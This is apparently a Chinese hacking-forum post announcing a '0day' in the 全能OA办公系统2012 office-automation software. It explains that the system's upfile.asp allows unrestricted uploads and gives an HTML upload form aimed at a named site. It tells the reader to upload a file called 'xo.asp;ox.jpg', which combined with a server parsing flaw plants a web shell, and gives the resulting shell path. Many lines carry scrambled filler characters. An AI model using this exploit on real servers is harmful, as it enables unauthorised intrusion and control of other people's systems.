全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：

7 S% U4 X' n2 ?# N全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
9 I9 o4 U' c8 b- h; s. J
3 H( c* o  V: T. b. C& s2 g1 _( e% B主要功能：
$ @7 ^. B; V( V# K0 o- ]公司通告
) q& h* q/ E( p( _; N. r# E! w工作计划
通讯助理
  o0 {/ `% M2 {7 w' c客户资源
& G% ^! A, }) ]我的公文
, `* q4 r1 k" f) h公文传阅
公共资源
* I" I: T& c+ ^' |7 O0 S) q$ X资源预约
今日考勤
个人计划
1 O3 v( W. ]' w- h2 e个人通讯录
个人基本档案
/ H! c: F; h, f  B9 E未读邮件
发邮件
收件夹
6 D, @" q" N3 I8 W1 c5 x- D6 L寄件夹
网络硬盘
网络会议
网络调查
) x+ e' J" q; d: r交流论坛
! o8 {) W+ M2 L1 @, [6 T
有兴趣测试的朋友可以下源码看看
/ a% }, o( Z% r  a
/ w0 q" r( ^2 s0 T源码下载：

8 K( b) G- I% B5 {http://www.mycodes.net/30/4750.htm
6 B6 @+ K+ w6 e+ x* l; N7 d0 l- [; P' W
漏洞介绍：
- {, L3 c" {1 x4 c8 B: O* Y
由upfile.asp上传文件漏洞引起

: Z* [( V% P& k测试方法：
+ D( E! d, a8 k# c2 L( t
/ G  u# t9 e( g2 K2 F使用名小子上传http://www.itlynn.com/upfile.asp即可

如果upfile.asp文件被删除不存在。
( n' R: J. r) [* t5 o9 H
  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

+ {0 J0 O- r4 ?1 o如果存在那么将如下代码保存为upfile.html。
$ Q6 J# x0 f2 P2 w: ]; `
& J: b+ z/ N3 R5 Y$ n! F然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

% _0 W; Z, p; I; b) ^3 U9 Z- w0 j

01 <table border='0' align="center" cellpadding="5">

3 H7 `6 x4 R: G/ p! G02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>
  \; E6 D" H0 J
04             <td>报错：</td>
: B. h0 G7 S) J$ z
, T* _' s$ J) h) R! s5 w3 u05             <td><input type='radio' name='errnumber' value='0'>

% i% R& x1 I+ c2 [* h( A06               自动更名

4 x5 }/ b/ Y: R$ {4 A4 n+ b: x07               <input type='radio' name='errnumber' value='1' checked>

08               报错方式
6 ?% ]# [. H# A$ q  e" F
09               <input type='radio' name='errnumber' value='2'>

10               直接覆盖</td>
0 x" Z7 X* k- o. ?# q" ^
11           </tr>

3 n: _- Z8 P7 E3 F' w# w4 D12           <tr>

13             <td>主题：</td>

14             <td><input type='text' name='filename' size='30'></td>
7 ~. x9 e6 r1 o
15           </tr>

  K$ J& I3 T, \; S16           <tr>

& p0 v. [0 v7 ]  I6 I" P0 g17             <td>文件：</td>
- H7 T/ g5 S: R, J$ c
18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>
  O9 p2 X6 w% s1 ?  C/ m  C
3 W% a0 D# o( a20           <tr>

* ^3 y1 l9 D7 F8 F( r1 Z# e21             <td valign='top'>简介：</td>
4 |9 B7 L* C# X! i5 c6 e7 F6 O
; E! X6 x+ x) R; U22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
( [& B' m! n6 k) ^+ t; T
23           </tr>

9 |9 v4 b/ R- J$ B7 k* L24   
5 C7 ~% h. t7 K2 X9 [
/ e* Y/ o" i; C25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

! Q4 K6 D/ g8 c26           </tr>

27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。
( q1 K0 X+ G7 ^( E3 [! p. n2 ]


上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
/ E# M1 g1 F) x8 R3 b. B1 _7 A
+ G6 E. X) H0 e4 g) m此漏洞需要配合解析漏洞利用。